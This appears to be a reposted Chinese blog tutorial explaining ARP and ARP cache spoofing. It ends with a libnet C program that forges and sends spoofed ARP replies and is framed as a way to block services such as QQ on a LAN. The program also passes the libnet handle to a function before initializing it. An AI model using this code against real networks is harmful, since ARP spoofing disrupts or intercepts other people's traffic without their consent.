ARP(Address Resolution Protocol,地址解析協議)是獲取物理地址的一個TCP/IP協議。某節點的IP地址的ARP請求被廣播到網絡上后,這個節點會收到確認 其物理地址的應答,這樣的數據包才能被傳送出去。RARP(逆向ARP)經常在無盤工作站上使用,以獲得它的邏輯IP地址。
地址解析協議(Address Resolution Protocol,ARP)是在僅知道主機的IP地址時確 ?地址解析協議定其物理地址的一種協議。因IPv4和以太網的廣泛應用,其主要用作將IP地址翻譯為以太網的MAC地址,但其也能在ATM( 異步傳輸模式)和FDDIIP(Fiber Distributed Data Interface 光纖分布式數據接口)網絡中使用。從IP地址到物理地址的映射有兩種方式:表格方式和非表格方式。ARP具體說來就是將網絡層(IP層,也就是相當于OSI的第三層)地址解析為數據連接層(MAC層,也就是相當于OSI的第二層)的MAC地址。
1. 什么是ARP?
ARP (Address Resolution Protocol) 是個地址解析協議。最直白的說法是:在IP-以太網中,當一個上層協議要發包時,有了節點的IP地址,ARP就能提供該節點的MAC地址。
2. 為什么要有ARP?
OSI 模式把網絡工作分為七層,彼此不直接打交道,只通過接口(layer interface). IP地址在第三層, MAC地址在第二層。協議在發送數據包時,得先封裝第三層(IP地址),第二層(MAC地址)的報頭, 但協議只知道目的節點的IP地址,不知道其MAC地址,又不能跨第二、三層,所以得用ARP的服務。
3. 什么是ARP
cache? ARP cache 是個用來儲存(IP, MAC)地址的緩沖區。當ARP被詢問一個已知IP地址節點的MAC地址時,先在ARP cache 查看,若存在,就直接返回MAC地址,若不存在,才發送ARP request向局域網查詢。
4. ARP 有什么命令行?
常用的包括:(格式因操作系統、路由器而異,但作用類似)- 顯示ARP cache: show arp; arp -a - 清除ARP cache: arp -d;clear arp。
在TCP/IP協議中,A給B發送IP包,在報頭中需要填寫B的IP為目標地址,但這個IP包在以太網上傳輸的時候,還需要進行一次以太包的封裝,在這個以太包中,目標地址就是B的MAC地址.
計算機A是如何得知B的MAC地址的呢?解決問題的關鍵就在于ARP協議。
在A不知道B的MAC地址的情況下,A就廣播一個ARP請求包,請求包中填有B的IP(192.168.1.2),以太網中的所有計算機都會接收這個請求,而正常的情況下只有B會給出ARP應答包,包中就填充上了B的MAC地址,并回復給A。
A得到ARP應答后,將B的MAC地址放入本機緩存,便于下次使用。
本機MAC緩存是有生存期的,生存期結束后,將再次重復上面的過程。
ARP協議并不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,當局域網中的某臺機器B向A發送一個自己偽造的ARP應答,而如果這個應答是B冒充C偽造來的,即IP地址為C的IP,而MAC地址是偽造的,則當A接收到B偽造的ARP應答后,就會更新本地的ARP緩存,這樣在A看來C的IP地址沒有變,而它的MAC地址已經不是原來那個了。由于局域網的網絡流通不是根據IP地址進行,而是按照MAC地址進行傳輸。所以,那個偽造出來的MAC地址在A上被改變成一個不存在的MAC地址,這樣就會造成網絡不通,導致A不能Ping通C!這就是一個簡單的ARP欺騙。
#include <win32/libnet.h>
/*
=======================================================================================================================
在windows平臺下必須包含此文件,文件libnet.h是libnet開發包的頭文件
======================================================================================================================= */
void main()
{ int packet_size; /* 存放數據包長度的變量 */ libnet_t *l; /* libnet句柄 */ libnet_ptag_t protocol_tag; /* 協議塊標記 */ char *device = NULL; /* 設備名字,此時為NULL */ char error_information[LIBNET_ERRBUF_SIZE]; /* 用來存放錯誤信息 */ char *destination_ip_str = "192.168.0.2"; /* 目的IP地址字符串變量,可以指定任意一個合法的IP地址 */ char *source_ip_str = "192.168.0.3"; /* 源IP地址字符串變量,可以指定任意一個合法的IP地址 */ u_char hardware_source[6] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06 }; /* 源MAC地址,可以是任意指定 */ u_char hardware_destination[6] = { 0x06, 0x05, 0x04, 0x03, 0x02, 0x01 }; /* 目的MAC地址,可以是任意指定 */ u_long destination_ip; /* 目的IP地址 */ u_long source_ip; /* 源IP地址 */ destination_ip = libnet_name2addr4(l, destination_ip_str, LIBNET_RESOLVE); /* 把目的IP地址字符串形式轉化成網絡順序字節形式的數據 */ source_ip = libnet_name2addr4(l, source_ip_str, LIBNET_RESOLVE); /* 把源IP地址字符串形式轉化成網絡順序字節形式的數據 */ l = libnet_init( /* 初始化libnet */ LIBNET_LINK_ADV, /* libnet類型 */ device, /* 網絡設備 */ error_information); /* 錯誤信息 * */ protocol_tag = libnet_build_arp( /* 構造ARP協議塊,函數的返回值是代表新生成的ARP協議塊的一個協議塊標記, */ ARPHRD_ETHER, /* 硬件地址類型,在這里是以太網 */ ETHERTYPE_IP, /* 協議地址類型,在這里是IP協議 */ 6, /* 硬件地址長度,MAC地址的長度為6 */ 4, /* 協議地址長度,IP地址的長度為4 */ ARPOP_REPLY, /* 操作類型,在這里是ARP應答類型 */ hardware_source, /* 源硬件地址 */ (u_int8_t*) &source_ip, /* 源IP地址 */ hardware_destination, /* 目標硬件地址 */ (u_int8_t*) &destination_ip, /* 目標協議地址 */ NULL, /* 負載,此時為NULL */ 0, /* 負載的長度,此時為0 */ l, /* libnet句柄,此句柄由libnet_init()函數生成 */ 0 /* 協議塊標記,此時為0,表示構造一個新的ARP協議塊,而不是修改已經存在的協議塊 * */ ); protocol_tag = libnet_autobuild_ethernet( /* 構造一個以太網協議塊,返回一個指向此協議塊的標記 */ hardware_destination, /* 目的硬件地址 */ ETHERTYPE_ARP, /* 以太網上層協議類型,此時為ARP類型 */ l /* libnet句柄 */ ); packet_size = libnet_write(l); /* * 發送已經構造的ARP數據包,注意此數據包應該包括兩部分,一部分是ARP協議塊,另外一部分是以太網協議塊 */ printf("發送一個%d字節長度的ARP應答數據包\n", packet_size); /* 輸出發送的ARP數據包的字節數 */ libnet_destroy(l); /* 銷毀libnet */
}
轉載于:https://www.cnblogs.com/niulanshan/archive/2012/11/07/6175469.html
總結
以上是生活随笔為你收集整理的VC++基于APR实现禁止某个业务(开发行为控制软件用得着,例如上班禁止上QQ)...的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。